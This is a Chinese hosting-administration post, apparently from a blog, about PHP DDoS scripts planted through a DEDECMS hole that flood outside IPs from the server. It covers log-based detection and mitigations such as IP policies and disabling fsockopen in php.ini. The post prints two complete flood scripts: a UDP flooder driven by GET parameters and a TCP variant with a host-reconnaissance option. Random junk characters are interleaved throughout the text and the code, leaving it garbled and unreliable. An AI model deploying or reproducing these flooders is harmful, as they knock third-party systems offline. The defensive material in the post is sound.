服务器php对外发包引起崩溃的解决办法paopao最近老听人说,php对外发包,引起服务器崩溃或被机房查封,今天闲着无事和大家一起分享paopao我总结的DEDECMS php对外发包引发服务器崩溃的终极解决方法,希望可以帮助大家解决服务器问题,让网站运行的更好
$ ]( `" f( v" ~5 R9 w: x 一。php对外发包分析" K+ S3 y! W8 R5 H$ m j" l L
用php代码调用sockets,直接用服务器的网络攻击别的IP,常见代码如下:
& z, X! T5 a9 X2 v8 i1 C 以下是代码片段:
+ }) D1 }. Y, e- o, A- |( u3 E $packets = 0; ]; {6 V% C- I% e) }) R
$ip = $_GET[\'ip\'];
. E" B3 h ~' u0 B, f $rand = $_GET[\'port\'];
) }- c# ^3 y: e9 Y set_time_limit(0);5 X8 E( O# F8 }7 Z
ignore_user_abort(FALSE);
) F' j- |( e; ^- n" r $exec_time = $_GET[\'time\'];sbxl-201206121 f& R% j6 @3 Q* Y8 Z* d
$time = time();2 A! O0 A- a7 j
print \'Flooded: $ip on port $rand5 _: j; c2 ?- g: c/ \
\';
) `9 c4 B6 y! X! C" }' p( q- O $max_time = $time+$exec_time;! j: T. {6 Q" i6 t ]+ Y3 w- Q
for($i=0;$i<65535;$i++){+ q2 v0 o0 ^( O$ S
$out .= \'X\';' s/ u5 F6 T" n' }3 l3 g6 J
}
8 e7 i' N) ^0 ]* X; U while(1){
+ r1 j+ m& L- r/ @0 x $packets++;) a1 b' _8 w; {3 |
if(time() > $max_time){, k' Z0 E \. L4 z4 l
break;
2 l" P t8 h: L }
( a8 L1 O9 h* k' Z4 z2 ?) ] $fp = fsockopen(\'udp://$ip\', $rand, $errno, $errstr, 5);
) |, T9 l* b/ H) `- @# } if($fp){$ \2 c4 f" i! |( Q9 p
fwrite($fp, $out);
9 V0 C: V3 ]% y& r( X3 @, x fclose($fp);" I2 y/ Q% s; k' D, ]
}
! t3 `% s% N# v0 i; c }
3 }& v' X; y( h echo \'Packet complete at \'.time(\'h:i:s\').\' with) P4 P1 V4 _1 V1 t! m! p$ Z
$packets (\' . round(($packets*65)/1024, 2) . \' mB) packets averaging \'.
6 ^+ l1 S; m6 K, F& [% q% T5 J round($packets/$exec_time, 2) . \' packets/s ;* ?' M! |) z+ e! L" F1 J
?>! X* ~+ c" b# ]0 o9 a
二。表现特征3 p7 j. r! _, v
一打开IIS,服务器的流出带宽就用光-----就是说服务器不断向别人发包,这个情况和受到DDOS攻击是不同的,DDOS是服务器不断收到大量数据包.7 g. z& S- O- k! j' L" q# v$ \, @3 O0 ]
近期由于DEDECMS出现漏洞而导致大量服务器出现这个问题.6 c" v b- D2 T2 p
如何快速找到这些站?1 C1 Q/ Y, O- n1 O1 h0 z' D
你可以打开日志4 }3 I4 ~3 A, p8 h7 a5 \# K* i
C:\Windows\System32\LogFiles\HTTPERR\httperr...log,打开今天时间的文件,1 ?1 }) E# m7 R2 L, C
里面有类似这样的记录:, ~$ [4 ]+ b3 g; H2 }. Q
2012-04-26 06:37:28 58.255.112.112 26817 98.126.247.13 80 HTTP/1.1 GET /xxxx/xxxxxx.php?host=122.224.32.100&port=445&time=120 503 783 Disabled 30_FreeHost_19 L% \( }3 N- Z8 |' Y
最后三项783 Disabled 30_FreeHost_1
* @! P5 L' A/ y 783就是这个站在IIS中的ID
5 F% U( n% N, C, z2 r 30_FreeHost_1就是所在池
$ N8 L! s6 Z, c$ f6 ^$ _" P. F( f$ C 三?解决办法
1 `2 Z/ [ ~2 h4 g- r. c 1.按上述找到这个网站后停止它.或停止池,并重启IIS.+ F3 P' f3 |; k- ?
2.在IP策略,或防火墙中,禁止所有udp向外发送1 _# S: o& A _! P, F0 k. Z
在星外最新版本的安全包中,已带有4.0版本的IP策略【下载safe包】,您导入后就直接可以限制了外发的UDP包?下载这个包,之后导入安全策略?但这个策略并没有关闭DNS端口,部分攻击还是有效.& f$ ?: g, W/ k' X h6 x7 T
为了解决这个问题,你也可以调整IP策略,限制udp只能访问特定的DNS服务器IP,如8.8.8.8,除非黑客攻击这个IP,不然攻击也是无效的,你可以在网卡DNS中设置一个你才知道的DNS IP,并且不要公开,然后调用IP策略中的udp open部分就可以解决.(打开IP策略的属性,双击open,将open中的两条udp记录删除任意一条,在保留的这条中,双击,改成 地址 从源地址 任何地址 到目标地址'特定IP 这个IP就是设置为你自己的DNS IP,如8.8.8.8' 保存后就行了)
' W! A8 B, p% V( P$ `; o 在2011-4-27,我们上传了新的安全包,里面有一个'星外虚拟主机管理平台IP策略关闭所有UDP端口用.ipsec'文件,您可以导入它并启用,就可以关闭所有udp端口,就可以完全防止这类攻击,但是,这个策略由于关闭了DNS端口,会造成的这台服务器上无法用IE访问任何域名,因此,用户的采集功能也就用不了.(同样,如果在主控网站上用了这个策略,就会造成的受控自检不通过,因为解析不了域名,另外,部分用户反映此策略会造成的mysql不正常)
. V2 ?0 F& Y7 q) a! J 3.用一流信息监控,在SQL拦截及网址拦截中,拦截port=这个关键词(其他关键词可以删除.)* C+ m; j; J. l+ @; s, j) U
4.也可以直接禁止上面的代码,如改win\php.ini后重启IIS8 k9 L+ r3 G4 B1 _/ s% e
ignore_user_abort = On: \4 v& y; W8 }( |4 F2 B* a5 i' M
(注意前面的;号要删除)2 q$ I9 j7 Z* K# \* P( x* w
disable_functions =exec,system,passthru,popen,pclose,shell_exec,proc_open,curl_exec,multi_exec,dl,chmod,stream_socket_server,popepassthru,pfsockopen,gzinflate,6 L0 A0 b0 G( x s
在后面加上2 G2 }* U; a7 K. s4 l- g9 d$ f; l
fsockopen,set_time_limit
5 d: w( ?6 p7 W9 C) X5 ]* L H' |3 K 但这样会造成很多php程序都不正常.
# a1 V1 v0 I! f( T! k2 V5 g 另外,这也表明你的服务器安全做得不错,如果能入侵.黑客就直接提权了,还DOS做什么?
2 W2 W" H) F I5 |1 q 近期已有新的基于TCP攻击的PHPDDOS代码如下:. s- P9 h6 U# \
以下是代码片段:
; e5 s r. j: u* d" g set_time_limit(999999);) X$ s# F9 `( z7 z4 Q' ?' W
$host = $_GET['host'];; V* I1 e- s( ], Z1 m# _
$port = $_GET['port'];
2 g' R: H3 [* z. w4 b $exec_time = $_GET['time'];7 Q! {+ B5 ` M# l F
$packets = 64;
; Q- f/ [" j3 P* A4 m- ~" o ignore_user_abort(True);) N3 S8 x; ?6 l& ]# q& a3 Q
if (StrLen($host)==0 or StrLen($port)==0 or StrLen($exec_time)==0){
& J r9 o7 x+ n3 h1 x$ |9 j if (StrLen($_GET['rat'])<>0){" r, `0 l/ B) Y3 h+ k
echo $_GET['rat'].$_SERVER['HTTP_HOST'].'|'.GetHostByName($_SERVER['SERVER_NAME']).'|'.
+ I4 P% a( K4 C# d php_uname().'|'.$_SERVER['SERVER_SOFTWARE'].$_GET['rat'];
7 v: O( _4 L: M# Q) M exit;9 V: r$ h/ ]- e. F+ _0 P
}
2 A8 m+ G5 P8 b5 i; w: | w6 d exit;' e$ s" f3 L9 u2 S; a
}
: F+ @! H8 m2 n) H. o( h( k/ S. g# R $max_time = time()+$exec_time;
) s' G, W% L5 T while(1){
6 U8 q8 G4 ]* q $packets++;/ f) F- u' B9 U0 E8 F2 X
if(time() > $max_time or $exec_time != 69){4 O% n5 x. _6 e3 K7 g7 b# ~4 W
break;7 G8 u0 \. |& A# F4 i6 K l
}
& t0 `& x$ f- }, h $fp = fsockopen('tcp://$host', $port, $errno, $errstr, 0);
. d+ z2 P# y' [6 Q. V/ v }% l1 z. {8 j6 A; _
?>% P' _& a; ^" L! M7 H- k4 R
同样,可以采有以下解决办法:
9 o% k/ I0 J/ k5 V& V 1.也可以直接禁止上面的代码,如改win\php.ini后重启IIS y4 S( Q# a- L2 C
ignore_user_abort = On" A# E- Z% u( y4 ]* g* }
(注意前面的;号要删除)2 n- K$ D& ?: ^* ]
disable_functions =exec,system,passthru,popen,pclose,shell_exec,proc_open,curl_exec,multi_exec,dl,chmod,stream_socket_server,popepassthru,pfsockopen,gzinflate,/ N0 b8 l) @# y8 S' {3 t- s
在后面加上 Q: @& z: b$ }6 X! p$ b# [2 {4 B) D
fsockopen,set_time_limit
7 c/ O- A, [7 f+ L$ }4 @ 但这样会造成很多php程序都不正常. 如果您是IDC,给客户提供空间的,禁用函数可能导致客户程序无法运行,所以一般不要用此办法
4 z7 \( p' Z9 g# Z [ 2.在IP策略中禁止所有外访的TCP数据包,但这样会造成的采集功能无效,也不能用在主控服务器上?; G* v& \* U! {: y s6 ]
3.在服务器要用关键词tcp:或udp:搜索所有php类文件,找到攻击文件,删除它?, z8 m* X! w" P- j. o% i& T) u
文章出自医院网站优化 http://www.ahyyqing.com,转载请注明出处。* R' \ F! f7 @$ }/ C
|